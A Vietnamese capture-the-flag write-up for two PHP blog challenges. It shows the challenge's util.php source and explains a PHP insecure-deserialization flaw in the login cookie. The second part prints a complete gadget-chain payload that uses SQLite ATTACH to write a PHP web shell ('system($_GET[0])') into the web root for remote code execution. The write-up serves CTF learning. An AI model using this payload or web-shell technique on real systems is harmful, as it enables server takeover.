Bài này cho source code cho chúng ta review code, trước khi review code chúng ta sẽ xem trên interface thì nó cho đăng ký rồi login, khi login mình check một vòng thì có chưa cookie.
Chúng ta sẽ reivew qua code được cũng cấp.
Sau một lúc xem code thì mình thấy rằng khi đăng ký hay đăng nhập thì cookie sẽ được theo theo kiểu serialize cookie.
Mình nghĩ lỗ hổng này liên quan tới PHP Deserialization, mình tiếp tục check thì ở file util.php như này:
<?phpclassPost {public $title;public $content;public $comments;publicfunction__construct($title, $content) {$this->title = $title;$this->content = $content; }publicfunction__toString() { $comments =$this->comments;// comments are bugged for now, but in future it might be re-implemented// when it is, just append $comments_fallback to $outif ($comments !== null) { $comments_fallback =$this->$comments; } $conn =newConn; $conn->queries =array(newQuery("select id from posts where title = :title and content = :content",array(":title"=>$this->title,":content"=>$this->content) )); $result =$conn();if ($result[0] === false) {return""; } else {return" <div class='card'> <h3 class='card-header'>{$this->title}</h3> <div class='card-body'> <p class='card-text'>{$this->content}</p> </div> <div class='card-footer'> <input class='input-group-text' style='font-size: 12px;' disabled value='Commenting is disabled.' /> </div> </div> "; } }}classUser {public $profile;public $posts =array();publicfunction__construct($username) {$this->profile =newProfile($username); }// get user profilepublicfunctionget_profile() {// some dev apparently mixed up user and profile... // so this check prevents any more errorsif ($this->profile instanceofUser) {return"@i_use_vscode please fix your code"; } else {// quite unnecessary to assign to a variable imho $profile_string =" <div>{$this->profile}</div> ";return $profile_string; } }publicfunctionget_posts() {// check if we've already fetched posts before to save some overhead// (our poor sqlite db is dying)if (sizeof($this->posts)!==0) {return"Please reload the page to fetch your posts from the database"; }// get all user posts $conn =newConn; $conn->queries =array(newQuery("select title, content from posts where user = :user",array(":user"=>$this->profile->username) ));// get posts from database $result =$conn();if ($result[0] !== false) {while ($row = $result[0]->fetchArray(1)) {$this->posts[] =newPost($row["title"], $row["content"]); } }// build the return string $out ="";foreach ($this->posts as $post) { $out .= $post; }return $out; }// who put this?? git blame moment (edit: i checked, it's @i_use_vscode as usual)publicfunction__toString() { $profile =$this->profile;return$profile(); }}classProfile {public $username;public $picture_path ="images/real_programmers.png";publicfunction__construct($username) {$this->username = $username; }// hotfix for @i_use_vscode (see line 97)// when removed, please remove this as wellpublicfunction__invoke() {if (gettype($this->picture_path)!=="string") { return"<script>window.location = '/login.php'</script>"; } $picture =base64_encode(file_get_contents($this->picture_path));// check if user exists $conn =newConn; $conn->queries =array(newQuery("select id from users where username = :username",array(":username"=>$this->username) )); $result =$conn();if ($result[0] === false || $result[0]->fetchArray()=== false) {return"<script>window.location = '/login.php'</script>"; } else {return" <div class='card'> <img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'> <div class='card-body'> <h3 class='card-title'>{$this->username}</h3> </div> </div> "; } }// this is the correct implementation :facepalm:publicfunction__toString() {if (gettype($this->picture_path)!=="string") { return""; } $picture =base64_encode(file_get_contents($this->picture_path));// check if user exists $conn =newConn; $conn->queries =array(newQuery("select id from users where username = :username",array(":username"=>$this->username) )); $result =$conn();if ($result[0] === false || $result[0]->fetchArray()=== false) {return"<script>window.location = '/login.php'</script>"; } else {return" <div class='card'> <img class='card-img-top profile-pic' src='data:image/png;base64,{$picture}'> <div class='card-body'> <h3 class='card-title'>{$this->username}</h3> </div> </div> "; } }}classConn {public $queries;// old legacy code - idk what it does but not touching it...publicfunction__invoke() { $conn =newSQLite3("/sqlite3/db"); $result =array();// on second thought, whoever wrote this is a genius// its gotta be @i_use_neovimforeach ($this->queries as $query) {if (gettype($query->query_string)!=="string") {return"Invalid query."; } $stmt = $conn->prepare($query->query_string);foreach ($query->args as $param => $value) {if (gettype($value)==="string"||gettype($value)==="integer") { $stmt->bindValue($param, $value); } else { $stmt->bindValue($param,""); } } $result[] = $stmt->execute(); }return $result; }}classQuery {public $query_string ="";public $args;publicfunction__construct($query_string, $args) {$this->query_string = $query_string;$this->args = $args; }// for debugging purposespublicfunction__toString() {return$this->query_string; }}?>
Ở đây link ảnh được get về và encode nội dung dạng base64.
Chúng ta decode cookie ra như này, ở đây nhìn ở file util.php ở class User như đã nói có link ảnh nó base64 đi nội dung và được gắn vào cookie và serialize nó đi.
Việc đơn giản rồi biết được vị trí của flag giờ chỉ cần cho địa chỉ vào path rồi serialize nó đi là được.
Note: nhớ thay đổi số ký tự ở đây là 26 nếu không thì nó không thể unserialize.
Blog revenge
Bài này source code tương tự bài trên nhưng có một điều chúng ta không thể biết được vị trí của flag, nên hơi khó. Một lúc suy nghĩ xem tất cả file nhưng không có cách nào để leak được vị trí của flag.
Suy nghĩa lâu thì nhớ rằng tại sao sqlite3 lại được cấp full quyền, một lúc mình nhờ ông anh mình xin hint xem bên KCSC ở trường cũ mình làm kiểu gì. Thì thấy bảo là tạo một Object ghi đè nó thêm sql query vào db.
Ở đây sau một lúc research thì ở Sqlite injection ở PayloadAllTheThing thì có đoạn như này.
Mình mới hiểu khi này chúng ta có thể SQL->RCE bằng cách Inject query vào database, bây giờ mình mới hiểu tại sao sqlite3 được cấp full quyền....Nhưng mà lỗ hổng này mình mới làm được ít và mình chưa thử build object overwrite cái trên bao giờ nên mình đoạn này hơi thọt.
Đoạn payload xây dựng sẽ như sau, mình xây dựng dựa trên file util.php
<?phpclassQuery {public $query_string ="";public $args;publicfunction__construct($query_string, $args) {$this->query_string = $query_string;$this->args = $args; }// for debugging purposespublicfunction__toString() {return$this->query_string; }}//Tạo một class Conn ghi đè query trong class userclassConn {public $queries;publicfunction__construct() {$this->queries =array(newQuery("ATTACH DATABASE '/var/www/html/lol.php' AS lol;",array()),newQuery("CREATE TABLE lol.pwn (dataz text);",array()),newQuery('INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET[0]); ?>");',array())); }}classPost {public $title;public $content;publicfunction__construct($title, $content) {$this->title = $title;$this->content = $content; }}classUser {public $profile;publicfunction__construct($profile) {$this->profile = $profile; }}//in ra token theo đúng thứ tự User->Post->(Conn trong User)echobase64_encode(serialize(newUser(newPost(newUser(newConn()),1))));